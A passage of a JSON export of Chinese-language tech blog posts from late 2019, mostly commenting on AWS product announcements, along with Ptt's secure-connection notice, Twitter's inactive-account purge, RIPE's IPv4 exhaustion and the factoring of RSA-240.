    "body": "<a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 的 cross-region replication 與 same-region replication 也提供 SLA 了：「<a href=\"https://aws.amazon.com/blogs/aws/s3-replication-update-replication-sla-metrics-and-events/\">S3 Replication Update: Replication SLA, Metrics, and Events</a>」。\r\n\r\n<blockquote>\r\n<ul>\r\n\t<li>Most of the objects will be replicated within seconds.</li>\r\n\t<li>99% of the objects will be replicated within 5 minutes.</li>\r\n\t<li>99.99% of the objects will be replicated within 15 minutes.</li>\r\n</ul>\r\n</blockquote>\r\n\r\n對應的賠償是：\r\n\r\n<blockquote>When you enable this feature, you benefit from the associated Service Level Agreement. The SLA is expressed in terms of a percentage of objects that are expected to be replicated within 15 minutes, and provides for billing credits if the SLA is not met:\r\n\r\n<ul>\r\n\t<li>99.9% to 98.0% – 10% credit</li>\r\n\t<li>98.0% to 95.0% – 25% credit</li>\r\n\t<li>95% to 0% – 100% credit</li>\r\n</ul>\r\n</blockquote>\r\n\r\n不過只保證 99% 的物件在五分鐘內會被 replicate 有點低，應該跟底層的網路 latency 有關？",
    "title": "Amazon S3 的 Replication 也給出 SLA 了"
  },
  {
    "id": "9288",
    "body": "<a href=\"https://www.ptt.cc/\">Ptt</a> 官方公告，建議使用安全連線：「<a href=\"https://www.ptt.cc/bbs/SYSOP/M.1574579091.A.169.html\">[公告] 請使用安全的連線方式連線本站</a>」。\r\n\r\n目前 Ptt 有三種方式可以連線，第一種是 <a href=\"https://en.wikipedia.org/wiki/Telnet\">Telnet</a>，這是最古老，支援度最廣泛，但沒有加密的協定。\r\n\r\n第二種是 <a href=\"https://en.wikipedia.org/wiki/Secure_Shell\">SSH</a>，算是蠻早就支援的安全協定 (至少是 2006，依照「<a href=\"https://www.ptt.cc/bbs/SYSOP/M.1148743202.A.8B9.html\">[問題] SSH連接是否變換方式了﹖</a>」這篇)，屬於 <a href=\"https://en.wikipedia.org/wiki/Trust_on_first_use\">Trust on first use</a> 的方式，不過在有 <a href=\"https://en.wikipedia.org/wiki/DNSSEC\">DNSSEC</a> 的情況下可以搭配 <a href=\"https://en.wikipedia.org/wiki/SSHFP_record\">SSHFP record</a> 避免第一次連線的信任問題。\r\n\r\n最後一種登入方式也是安全協定，透過 2011 年定義出來的 <a href=\"https://en.wikipedia.org/wiki/WebSocket\">WebSocket</a> 連線，這個方法在 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 盛行後可以透過瀏覽器內的 CA 驗證連線的安全性。\r\n\r\n可以理解 SSH 吃的資源比較多，不過在 Linux command line 下好像還沒有什麼比較堪用的 WebSocket 指令可以連線... 而且我記得 Ptt 的 WebSockets 還是使用 <a href=\"https://zh.wikipedia.org/wiki/%E5%A4%A7%E4%BA%94%E7%A2%BC\">BIG5</a> 吧？當時在寫小工具的時候發現的...",
    "title": "Ptt 公告使用安全連線"
  },
  {
    "id": "9292",
    "body": "看到 <a href=\"https://twitter.com/\">Twitter</a> 要清沒有在用的帳號的消息：「<a href=\"https://www.theverge.com/2019/11/26/20984328/twitter-removing-inactive-accounts-usernames-available-date\">Twitter will remove inactive accounts and free up usernames in December</a>」，官方的「<a href=\"https://help.twitter.com/en/rules-and-policies/inactive-twitter-accounts\">Inactive account policy</a>」裡面也可以看到。\r\n\r\n看起來定義上是六個月沒有動，官方就可以當作 inactive account 處理：\r\n\r\n<blockquote>We encourage people to actively log in and use Twitter when they register an account. To keep your account active, be sure to log in and Tweet at least every 6 months. Accounts may be permanently removed due to prolonged inactivity.</blockquote>\r\n\r\n讓我想到先前 <code>arashi_5_official</code> 帳號的取名原因 XDDD\r\n\r\n另外不知道會怎麼處理權限上的配套措施，像是有不少網站支援 Twitter 帳號登入，如果被其他人拿到後代表有機會取得其他非 Twitter 系統的權限...",
    "title": "Twitter 要清帳號了"
  },
  {
    "id": "9294",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"https://aws.amazon.com/elasticloadbalancing/\">ALB</a> 總算提供「最少連線數」的功能了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/11/application-load-balancer-now-supports-least-outstanding-requests-algorithm-for-load-balancing-requests/\">Application Load Balancer now supports Least Outstanding Requests algorithm for load balancing requests</a>」。\r\n\r\n先前只有 Round robin (RR)，現在支援 Least outstanding requests (LOR) 後可以往比較少的塞了，這個方法在大多數的應用上比 RR 合理多了，現有的 ALB 應該都可以考慮換過去...\r\n\r\n補功能不算快，但有種已知用火的感覺 XD",
    "title": "AWS 的 ALB 可以用最少未處理連線數分配了"
  },
  {
    "id": "9296",
    "body": "<a href=\"https://aws.amazon.com/redshift/\">Amazon Redshift</a> 的新功能，會自動在背景重新排序資料以增加效能：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/11/amazon-redshift-introduces-automatic-table-sort-alternative-vacuum-sort/\">Amazon Redshift introduces Automatic Table Sort, an automated alternative to Vacuum Sort</a>」。\r\n\r\n版本要到更新到 1.0.11118，然後預設就會打開：\r\n\r\n<blockquote>This feature is available in Redshift 1.0.11118 and later.</blockquote>\r\n\r\n<blockquote>Automatic table sort is now enabled by default on Redshift tables where a sort key is specified.</blockquote>\r\n\r\n重新排序的運算會在背景處理，另外帶一些行為學習分析：\r\n\r\n<blockquote>Redshift runs the sorting in the background and re-organizes the data in tables to maintain sort order and provide optimal performance. This operation does not interrupt query processing and reduces the compute resources required by operating only on frequently accessed blocks of data. It prioritizes which blocks of table to sort by analyzing query patterns using machine learning.</blockquote>\r\n\r\n算是丟著讓他跑就好的東西，升級上去後可以看一下 <a href=\"https://aws.amazon.com/cloudwatch/\">CloudWatch</a> 的報告，這邊沒有特別講應該是還好... XD",
    "title": "Amazon Redshift 會自動在背景重新排序資料以增加效能"
  },
  {
    "id": "9297",
    "body": "看到「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/11/aws-chatbot-supports-running-commands-from-slack-beta/\">AWS Chatbot now supports running commands from Slack (beta)</a>」以及「<a href=\"https://aws.amazon.com/blogs/devops/running-aws-commands-from-slack-using-aws-chatbot/\">Running AWS commands from Slack using AWS Chatbot</a>」這篇文章，裡面提到了 <a href=\"https://aws.amazon.com/chatbot/\">AWS Chatbot</a> 現在支援 <a href=\"https://slack.com/\">Slack</a>，本來是自己找 3rd-party software 接，現在包成服務了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/2Ctngfc.webp\" /><img src=\"https://i.gslin.com/imgur/2Ctngfc.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/iQixyCM.webp\" /><img src=\"https://i.gslin.com/imgur/iQixyCM.jpg\" alt=\"\" /></picture>\r\n\r\n<blockquote>AWS Chatbot now supports running AWS commands and actions from Slack.</blockquote>\r\n\r\n然後因為 AWS Chatbot 可以 invoke lambda，所以很多功能都可以用這個方法接起來：\r\n\r\n<blockquote>You can retrieve diagnostic information, invoke Lambda functions and create AWS Support cases right from your Slack channels, so your team can collaborate and respond to events faster.</blockquote>\r\n\r\n有些常用功能就直接放進內建功能了，像是讀 CloudWatch Logs：\r\n\r\n<blockquote>In addition to running commands, you can also retrieve Amazon CloudWatch logs by simply clicking the “Show logs” button on CloudWatch Alarms notifications in Slack. AWS Chatbot supports actions for displaying logs for AWS Lambda and Amazon API Gateway.</blockquote>\r\n\r\n不過因為權限系統沒有整合的關係，可以看到還是有很多權限的授權得由人工操作，而不是一鍵就全部授權完成...",
    "title": "AWS Chatbot 支援 Slack"
  },
  {
    "id": "9298",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 對 <a href=\"https://aws.amazon.com/rds/aurora/mysql-features/\">Amazon Aurora MySQL</a> 5.7 版本推出了 <a href=\"https://aws.amazon.com/rds/aurora/global-database/\">Amazon Aurora Global Database</a>：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/11/aurora-global-database-is-now-supported-amazon-aurora-mysql-57/\">Aurora Global Database is Now Supported on Amazon Aurora MySQL 5.7</a>」。\r\n\r\n看起來 <a href=\"https://dev.mysql.com/\">MySQL</a> 系的 Global Database 就是跨區的 master-slave 架構 (所以標榜降低了 read latency，但沒有提到 write latency)：\r\n\r\n<blockquote>An Amazon Aurora Global Database is a single database that spans multiple AWS regions, enabling low latency global reads and disaster recovery from region-wide outages.</blockquote>\r\n\r\n另外可以看到是 1 秒，所以應該是 async replication：\r\n\r\n<blockquote>Aurora Global Database replicates writes in the primary region with typical latency of &lt;1 second to secondary regions, for low latency global reads.</blockquote>\r\n\r\n然後可以跨區切換：\r\n\r\n<blockquote>In disaster recovery situations, you can promote the secondary region to take full read-write responsibilities in under a minute.</blockquote>\r\n\r\n看了一下好像不用多付服務費用，就是各區自己的費用，加上傳輸的費用而已，看起來是個還不錯的服務？",
    "title": "Amazon Aurora MySQL 5.7 也可以上 Global Database 了"
  },
  {
    "id": "9300",
    "body": "看到「<a href=\"https://blind.guru/endofgoogle.html\">No more google for console junkies</a>」這篇，裡面提到了新版的 <a href=\"https://www.google.com/\">Google</a> 沒辦法用 <a href=\"https://en.wikipedia.org/wiki/Lynx_(web_browser)\">Lynx</a> 操作了，拿 <a href=\"https://en.wikipedia.org/wiki/W3m\">w3m</a> 測了一下發現也不行了，可以搜到東西，但連結的操作已經是 JavaScript 化了，而這兩個瀏覽器都不支援 JavaScript，所以就卡住了...\r\n\r\n是個從早年的 <a href=\"https://en.wikipedia.org/wiki/Unobtrusive_JavaScript\">Unobtrusive JavaScript</a> 概念，到現在沒有 JavaScript 就不會動的年代...\r\n\r\n有翻到一些有支援 JavaScript 的 terminal web browser (<a href=\"https://en.wikipedia.org/wiki/Links_(web_browser)\">Links</a> 與 <a href=\"https://en.wikipedia.org/wiki/ELinks\">ELinks</a>)，但都只是實驗品，連輸入中文都有問題... :/",
    "title": "Google 搜尋無法使用 Lynx 或是 w3m 操作了"
  },
  {
    "id": "9301",
    "body": "<a href=\"https://www.ripe.net/\">RIPE</a> 在上個禮拜宣佈 IPv4 address 發完了：「<a href=\"https://www.ripe.net/ripe/mail/archives/ripe-list/2019-November/001712.html\">[ripe-list] The RIPE NCC has run out of IPv4 Addresses</a>」。\r\n\r\n但這不代表不能申請，只是會進到「<a href=\"https://www.ripe.net/manage-ips-and-asns/ipv4/ipv4-waiting-list\">IPv4 Waiting List</a>」這個列表裡面等待，各種原因取回的會發個這些申請者。\r\n\r\n在台灣應該還是沒什麼感覺，因為固網 ISP 手上其實都拿一堆 IP 屯著，讓動態 IP 的架構輪著用，而行動網路上也可以看到不少 ISP 使用 <a href=\"https://en.wikipedia.org/wiki/Carrier-grade_NAT\">Carrier-grade NAT</a> 之類的架構在跑，最差也還可以拿 Private IP 硬上，暫時也不是太缺...\r\n\r\nIPv6 的部份的確有愈來愈好，但還是常常可以看到 IPv4 的 routing 比較好，IPv6 有時候會繞到歐美再回亞洲...\r\n\r\n話說起來，應該做看看 <a href=\"https://en.wikipedia.org/wiki/IPv6\">IPv6</a> 上的 <a href=\"https://oss.oetiker.ch/smokeping/\">SmokePing</a> 了，這樣才能比較 IPv4 與 IPv6 的 routing...",
    "title": "RIPE 的 IPv4 位置發完了"
  },
  {
    "id": "9302",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈了 <a href=\"https://aws.amazon.com/rds/aurora/\">Amazon Aurora</a> 可以直接使用 AWS 自家的 Machine Learning 服務：「<a href=\"https://aws.amazon.com/blogs/aws/new-for-amazon-aurora-use-machine-learning-directly-from-your-databases/\">New for Amazon Aurora – Use Machine Learning Directly From Your Databases</a>」。\r\n\r\n整合了兩個服務，分別是 <a href=\"https://aws.amazon.com/sagemaker/\">Amazon SageMaker</a> (各類的模型) 以及 <a href=\"https://aws.amazon.com/comprehend/\">Amazon Comprehend</a> (文字處理相關)。\r\n\r\n目前只有 Amazon Aurora MySQL 5.7 的版本有支援，其他的還在做：\r\n\r\n<blockquote>The new machine learning integration is available today for Aurora MySQL 5.7, with the SageMaker integration generally available and the Comprehend integration in preview. You can learn more in the documentation. We are working on other engines and versions: Aurora MySQL 5.6 and Aurora PostgreSQL 10 and 11 are coming soon.</blockquote>\r\n\r\n這個整合讓程式用起來更方便了...",
    "title": "Amazon Aurora 可以直接使用 AWS 的 Machine Learning 服務"
  },
  {
    "id": "9303",
    "body": "今年 <a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"https://reinvent.awsevents.com/\">re:Invent</a> 又開始了，照慣例有很多東西會在會場上發表 (尤其是現場表演起來會很炫的)，其中一個是 <a href=\"https://aws.amazon.com/deepcomposer/\">AWS DeepComposer</a>：「<a href=\"https://aws.amazon.com/blogs/aws/aws-deepcomposer-compose-music-with-generative-machine-learning-models/\">AWS DeepComposer – Compose Music with Generative Machine Learning Models</a>」。\r\n\r\n在現場有人錄影下來放到 <a href=\"https://twitter.com/\">Twitter</a> 上可以直接看：\r\n\r\n<blockquote class=\"twitter-tweet\"><p lang=\"und\" dir=\"ltr\"><a href=\"https://twitter.com/hashtag/reInvent?src=hash&amp;ref_src=twsrc%5Etfw\">#reInvent</a> <a href=\"https://twitter.com/hashtag/deepcomposer?src=hash&amp;ref_src=twsrc%5Etfw\">#deepcomposer</a> <a href=\"https://t.co/RzyLCcA1vj\">pic.twitter.com/RzyLCcA1vj</a></p>&mdash; Olga (@samozvanka) <a href=\"https://twitter.com/samozvanka/status/1201433455503888384?ref_src=twsrc%5Etfw\">December 2, 2019</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n現場展示了輸入一段旋律，而 AWS DeepComposer 可以補上其他樂器的配樂。在 blog 上的介紹文章也可以看到同樣的說明：\r\n\r\n<ul>\r\n\t<li>Log into the DeepComposer console,</li>\r\n\t<li>Record a short musical tune, or use a prerecorded one,</li>\r\n\t<li>Select a generative model for your favorite genre, either pretrained or your own,</li>\r\n\t<li>Use this model to generate a new polyphonic composition,</li>\r\n\t<li>Play the composition in the console,</li>\r\n\t<li>Export the composition or share it on SoundCloud.</li>\r\n</ul>\r\n\r\n就... 很炫 XD",
    "title": "AWS 展示了 DeepComposer"
  },
  {
    "id": "9304",
    "body": "<a href=\"https://aws.amazon.com/ec2/\">Amazon EC2</a> 推出了新一代的 <a href=\"https://www.arm.com/\">ARM</a> 系統：「<a href=\"https://aws.amazon.com/blogs/aws/coming-soon-graviton2-powered-general-purpose-compute-optimized-memory-optimized-ec2-instances/\">Coming Soon – Graviton2-Powered General Purpose, Compute-Optimized, &amp; Memory-Optimized EC2 Instances</a>」。\r\n\r\n目前的 <code>a1</code> 系列最大到 32GB RAM，這次推出來的算是比較大台的機器，而且與 <a href=\"https://en.wikipedia.org/wiki/X86-64\">x86-64</a> 架構相同，分化成 <code>m</code>/<code>c</code>/<code>r</code> 系列了：\r\n\r\n<ul>\r\n\t<li>General Purpose (M6g and M6gd) – 1-64 vCPUs and up to 256 GiB of memory.</li>\r\n\t<li>Compute-Optimized (C6g and C6gd) – 1-64 vCPUs and up to 128 GiB of memory.</li>\r\n\t<li>Memory-Optimized (R6g and R6gd) – 1-64 vCPUs and up to 512 GiB of memory.</li>\r\n</ul>\r\n\r\n預定是 2020 年推出：\r\n\r\n<blockquote>I will have more information to share with you in 2020.</blockquote>\r\n\r\n不過如果目前想要玩的話，可以找 <a href=\"https://aws.amazon.com/\">AWS</a> 申請 <code>m6g</code> 的機器先測試看看：\r\n\r\n<blockquote>M6g Preview\r\nWe are now running a preview of the M6g instances for testing on non-production workloads; if you are interested, please contact us.</blockquote>\r\n\r\n價錢好像也還沒出來，先放著等新消息好了...",
    "title": "Amazon EC2 推出了新一代的 ARM 系統"
  },
  {
    "id": "9307",
    "body": "也是剛剛發表的服務 (所以在 <a href=\"https://twitter.com/\">Twitter</a> 上看到)，把 <a href=\"https://cassandra.apache.org/\">Apache Cassandra</a> 包成服務，叫做 <a href=\"https://aws.amazon.com/mcs/\">Amazon Managed Apache Cassandra Service</a>：「<a href=\"https://aws.amazon.com/blogs/aws/new-amazon-managed-apache-cassandra-service-mcs/\">New – Amazon Managed Apache Cassandra Service (MCS)</a>」。\r\n\r\n而且是個 serverless 服務，直接用服務，不需要管理機器：\r\n\r\n<blockquote>Amazon MCS is serverless, so you pay for only the resources you use and the service automatically scales tables up and down in response to application traffic.</blockquote>\r\n\r\n從計費的方式也可以看出來這點，是對 Write request units、Read request units 與 Storage 收費，沒有看到機器的費用。\r\n\r\n不過稍微算了一下不算便宜，如果沒有用到 Cassandra 的特性的話，比 <a href=\"https://aws.amazon.com/dynamodb/\">DynamoDB</a> 貴一些？\r\n\r\n目前是 open preview 狀態，是個可以用但是不掛保證的意思：\r\n\r\n<blockquote>Amazon MCS is available today in open preview in US East (N. Virginia), US East (Ohio), Europe (Stockholm), Asia Pacific (Singapore), Asia Pacific (Tokyo).</blockquote>\r\n\r\n算是多個選擇可以玩...",
    "title": "Cassandra 也被 AWS 包成服務了"
  },
  {
    "id": "9308",
    "body": "<a href=\"https://aws.amazon.com/elasticsearch-service/\">Amazon Elasticsearch Service</a> 的新功能，使用 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 當作第二級儲存空間 (UltraWarm)：「<a href=\"https://aws.amazon.com/blogs/aws/announcing-ultrawarm-preview-for-amazon-elasticsearch-service/\">Announcing UltraWarm (Preview) for Amazon Elasticsearch Service</a>」。\r\n\r\nUltraWarm 需要不同的機器 (跑不同版本？)，機器的規格 (vCPU 與記憶體的比率) 接近 Memory Optimized 的版本，但是貴了不少，所以需要夠大的資料量才會打平回來...\r\n\r\n拿 <code>us-east-1</code> 來看，SSD EBS 的空間成本就是 USD$0.135/GB，而傳統磁性硬碟是 USD$0.067/GB (不知道收不收 I/O 費用？)，但 storage 的價錢是 USD$0.024/GB。這邊值得一提的是 Amazon S3 是 USD$0.023/GB，看起來是直接包括了 API 的呼叫費用？",
    "title": "Amazon Elasticsearch Service 可以利用 S3 當作二級儲存空間了"
  },
  {
    "id": "9311",
    "body": "在「<a href=\"https://www.schneier.com/blog/archives/2019/12/rsa-240_factore.html\">RSA-240 Factored</a>」這邊看到的，<a href=\"https://en.wikipedia.org/wiki/RSA-240\">RSA-240</a> 前幾天被解開了：\r\n\r\n<blockquote>RSA-240 = 124620366781718784065835044608106590434820374651678805754818788883289666801188210855036039570272508747509864768438458621054865537970253930571891217684318286362846948405301614416430468066875699415246993185704183030512549594371372159029236099 = 509435952285839914555051023580843714132648382024111473186660296521821206469746700620316443478873837606252372049619334517 * 244624208838318150567813139024002896653802092578931401452041221336558477095178155258218897735030590669041302045908071447</blockquote>\r\n\r\n有效長度是 795 bits，相較於十年前解出來的 RSA-768 (768 bits) 又多了「一些」。看了一下，算法上沒有太多突破，主要是硬體的發展與軟體的最佳化有進展...",
    "title": "RSA-240 (十進位 240 位數) 成功分解"
  },
  {
    "id": "9312",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈 <code>us-west-2</code> (Oregon) 開 Local Zone，這應該是 AWS 第一次在美國開 Local Zone，上次看到好像是 <code>ap-northeast-1</code> (Tokyo) 的 Osaka 區：「<a href=\"https://aws.amazon.com/blogs/aws/aws-now-available-from-a-local-zone-in-los-angeles/\">AWS Now Available from a Local Zone in Los Angeles</a>」。\r\n\r\n控制都還是在 <code>us-west-2</code> 的範圍控制，但代碼會是 <code>us-west-2-lax-1a</code> (目前只有一區)，之後會開 <code>us-west-2-lax-1b</code> (第二區)：\r\n\r\n<blockquote>In the fullness of time (as Andy Jassy often says), there could very well be more than one Local Zone in any given geographic area. In 2020, we will open a second one in Los Angeles (us-west-2-lax-1b), and are giving consideration to other locations. We would love to get your advice on locations, so feel free to leave me a comment or two!</blockquote>\r\n\r\n剛剛登入進去 VPC 的 Subnets 想要增加看看，沒看到 <code>us-west-2-lax-1a</code> 的選項可以選，看起來還是需要另外申請？\r\n\r\n另外算了一下 Oregon (用 Portland 算) 到 Los Angels 的直線距離，大約要 1300km 左右 (比台北到香港還遠不少)，光速單趟大約要 6.5ms？這樣對一些應用程式應該是會有感覺...\r\n\r\n<blockquote>This Local Zone is designed to provide very low latency (single-digit milliseconds) to applications that are accessed from Los Angeles and other locations in Southern California.</blockquote>\r\n\r\n看起來主要還是支援異地的需求...",
    "title": "AWS 在 us-west-2 開 Local Zone"
  },
  {
    "id": "9313",
    "body": "去年 <a href=\"https://aws.amazon.com/\">AWS</a> 在 <a href=\"https://reinvent.awsevents.com/\">re:Invent</a> 喊的 <a href=\"https://aws.amazon.com/outposts/\">AWS Outposts</a> 總算是有東西要出貨了：「<a href=\"https://aws.amazon.com/blogs/aws/aws-outposts-now-available-order-your-racks-today/\">AWS Outposts Now Available – Order Yours Today!</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/PMfpXtO.webp\" /><img src=\"https://i.gslin.com/imgur/PMfpXtO.jpg\" alt=\"\" /></picture>\r\n\r\n放在自家實體的機櫃，然後掛到 AWS 上變成一個特殊的 region。目前一個特殊的 region 只能放 16 個機櫃，但預期之後可以更多：\r\n\r\n<blockquote>Capacity Expansion – Today, you can group up to 16 racks into a single capacity pool. Over time we expect to allow you to group thousands of racks together in this manner.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ZTmwn6S.webp\" /><img src=\"https://i.gslin.com/imgur/ZTmwn6S.jpg\" alt=\"\" /></picture>\r\n\r\n不過要注意的是，需要有 <a href=\"https://aws.amazon.com/premiumsupport/plans/enterprise/\">AWS Enterprise Support</a> 才能下單，而且看起來硬體的維修也包在內了：\r\n\r\n<blockquote>Support – You must subscribe to AWS Enterprise Support in order to purchase an Outpost. We will remotely monitor your Outpost, and keep it happy & healthy over time. We’ll look for failing components and arrange to replace them without disturbing your operations.</blockquote>\r\n\r\n看了一下價錢的頁面，如果以北美的 upfront 來算，最便宜的是 <code>OR-L8IF4WF</code> 與 <code>OR-I0OGL02</code> 的 USD$225,504.81，最貴的是 <code>OR-HSZHMMF</code> 的 USD$898,129.52，暫時應該用不到 XDDD",
    "title": "AWS Outposts 總算要開始出貨了"
  },
  {
    "id": "9314",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了 Code Review 服務 <a href=\"https://aws.amazon.com/codeguru/\">Amazon CodeGuru</a>，使用 machine learning 提供建議：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/12/aws-announces-amazon-codeguru-for-automated-code-reviews-and-application-performance-recommendations/\">AWS announces Amazon CodeGuru for automated code reviews and application performance recommendations</a>」。\r\n\r\n從界面就可以看出來同時支援 <a href=\"https://github.com/\">GitHub</a> 與自家的 <a href=\"https://aws.amazon.com/codecommit/\">CodeCommit</a>，看起來可以給不少建議，但網站上沒有提到 security 這塊，本來以為產品的定位不在這邊：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ekKPbKx.webp\" /><img src=\"https://i.gslin.com/imgur/ekKPbKx.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/DQSPVw2.webp\" /><img src=\"https://i.gslin.com/imgur/DQSPVw2.jpg\" alt=\"\" /></picture>\r\n\r\n不過 FAQ 裡還是有提到常見的 security issue：\r\n\r\n<blockquote>Q: What type of issues are detected by Amazon CodeGuru Reviewer?\r\n\r\nAmazon CodeGuru Reviewer checks for concurrency issues, potential race conditions, un-sanitized inputs, inappropriate handling of sensitive data such as credentials, resource leaks, and also detects race conditions in concurrent code.</blockquote>\r\n\r\n然後 FAQ 裡提到目前只支援 Java：\r\n\r\n<blockquote>Amazon CodeGuru Reviewer currently supports Java code stored in GitHub and AWS CodeCommit repositories.</blockquote>\r\n\r\n服務的價位是使用行數計算，不過那個 per month 沒看懂是什麼意思：\r\n\r\n<blockquote>Code scan (pull requests)\t$0.75 per 100 lines of code scanned per month</blockquote>\r\n\r\n另外推出的 Amazon CodeGuru Profiler 則是 APM 類的東西，這塊目前市場上產品也很多，看起來也要被 AWS 進來蹂躪...",
    "title": "AWS 提供 Machine Learning 能力的自動 Code Review 服務"
  },
  {
    "id": "9315",
    "body": "除了常見的 GPU 類，以及之前公佈過的 FPGA 外，這次 <a href=\"https://aws.amazon.com/\">AWS</a> 推出的是自己做的晶片 <a href=\"https://aws.amazon.com/machine-learning/inferentia/\">AWS Inferentia</a>，以及對應到 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 上的機種 <code>inf1</code>：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-ec2-update-inf1-instances-with-aws-inferentia-chips-for-high-performance-cost-effective-inferencing/\">Amazon EC2 Update – Inf1 Instances with AWS Inferentia Chips for High Performance Cost-Effective Inferencing</a>」。\r\n\r\n從介紹可以看到支援的形式：\r\n\r\n<blockquote>Each AWS Inferentia chip supports up to 128 TOPS (trillions of operations per second) of performance at low power to enable multiple chips per EC2 instance. AWS Inferentia supports FP16, BF16, and INT8 data types. Furthermore, Inferentia can take a 32-bit trained model and run it at the speed of a 16-bit model using BFloat16.</blockquote>\r\n\r\n然後常見的框架都先弄好支援了：\r\n\r\n<blockquote>AWS Inferentia comes with the AWS Neuron software development kit (SDK) that enables complex neural net models, created and trained in popular frameworks to be executed using AWS Inferentia based EC2 Inf1 instances. Neuron consists of a compiler, run-time, and profiling tools and is pre-integrated into popular machine learning frameworks including TensorFlow, Pytorch, and MXNet to deliver optimal performance of EC2 Inf1 instances.</blockquote>\r\n\r\n現在看起來類似於 <a href=\"https://www.google.com/\">Google</a> 弄的 <a href=\"https://en.wikipedia.org/wiki/Tensor_processing_unit\">TPU</a>，專為 machine learning 搞出來的 <a href=\"https://en.wikipedia.org/wiki/ASIC\">ASIC</a>，等一陣子應該就會有兩者的比較了...",
    "title": "AWS 開始推自己的 Machine Learning Chip"
  },
  {
    "id": "9316",
    "body": "在這次 <a href=\"https://reinvent.awsevents.com/\">re:Invent</a> 發表會上，<a href=\"https://aws.amazon.com/\">AWS</a> 也宣佈了一些跟 VPC routing 有關的改善。\r\n\r\n第一個是 <a href=\"https://aws.amazon.com/transit-gateway/\">AWS Transit Gateway</a> 彼此可以互串了：「<a href=\"https://aws.amazon.com/blogs/aws/new-for-aws-transit-gateway-build-global-networks-and-centralize-monitoring-using-network-manager/\">New for AWS Transit Gateway – Build Global Networks and Centralize Monitoring Using Network Manager</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/2UP6pA7.webp\" /><img src=\"https://i.gslin.com/imgur/2UP6pA7.jpg\" alt=\"\" /></picture>\r\n\r\n第二個是可以拿 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 的機器 (實際上應該是 ENI) 當作 routing 的目標：「<a href=\"https://aws.amazon.com/blogs/aws/new-vpc-ingress-routing-simplifying-integration-of-third-party-appliances/\">New – VPC Ingress Routing – Simplifying Integration of Third-Party Appliances</a>」。\r\n\r\n不過我記得第二個好像早就可以了啊，這次不知道是簡化了什麼東西...",
    "title": "AWS 的 VPC 在 Routing 上的改善"
  },
  {
    "id": "9318",
    "body": "看到「<a href=\"https://aws.amazon.com/about-aws/whats-new/2019/12/announcing-aws-wavelength-delivering-ultra-low-latency-applications-5g/\">Announcing AWS Wavelength for delivering ultra-low latency applications for 5G</a>」這篇，裡面提到了與 5G 結合的 <a href=\"https://aws.amazon.com/wavelength/\">AWS Wavelength</a>。\r\n\r\n裡面提到的東西包括了把 <a href=\"https://aws.amazon.com/\">AWS</a> 的架構延伸到各家電信的架構裡面，看起來跟剛推出的 <a href=\"https://aws.amazon.com/outposts/\">AWS Outposts</a> 有關 (參考「<a href=\"https://blog.gslin.org/archives/2019/12/04/9313/aws-outposts-%e7%b8%bd%e7%ae%97%e8%a6%81%e9%96%8b%e5%a7%8b%e5%87%ba%e8%b2%a8%e4%ba%86/\">AWS Outposts 總算要開始出貨了</a>」這邊的介紹)：\r\n\r\n<blockquote>AWS Wavelength brings AWS services to the edge of the 5G network, minimizing the network hops and latency to connect to an application from a 5G device.</blockquote>\r\n\r\n然後目前已經公佈的，會跟四家電信業者合作，包括北美、歐洲、日本與南韓：\r\n\r\n<blockquote>AWS is partnering with leading telecommunications companies around the world, including Verizon, Vodafone, SK Telecom, and KDDI, to launch Wavelength across North America, Europe, Japan, and South Korea in 2020.</blockquote>\r\n\r\n有點噱頭，但技術上還在想有什麼用...",
    "title": "AWS 推出了與 5G 結合的 AWS Wavelength"
  },
  {
    "id": "9320",
    "body": "這是在找一些 TCP congestion algorithm 相關的資訊時發現的，看起來 <a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 導入 <a href=\"https://en.wikipedia.org/wiki/TCP_BBR\">BBR</a> 一陣子了：「<a href=\"https://aws.amazon.com/blogs/networking-and-content-delivery/tcp-bbr-congestion-control-with-amazon-cloudfront/\">TCP BBR Congestion Control with Amazon CloudFront</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/YKfpxxZ.webp\" /><img src=\"https://i.gslin.com/imgur/YKfpxxZ.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/RaRuq4I.webp\" /><img src=\"https://i.gslin.com/imgur/RaRuq4I.jpg\" alt=\"\" /></picture>\r\n\r\n不過 BBR 被研究的愈來愈多，大家開始發現這個演算法的霸道，跟其他的 TCP congestion algorithm 並不太能和平共存，但這就跟軍事武器一樣，隔壁升級了你就得跟著升級，抱怨沒有用，只會被消滅...",
    "title": "CloudFront 的 BBR 效能提昇"
  },
  {
    "id": "9321",
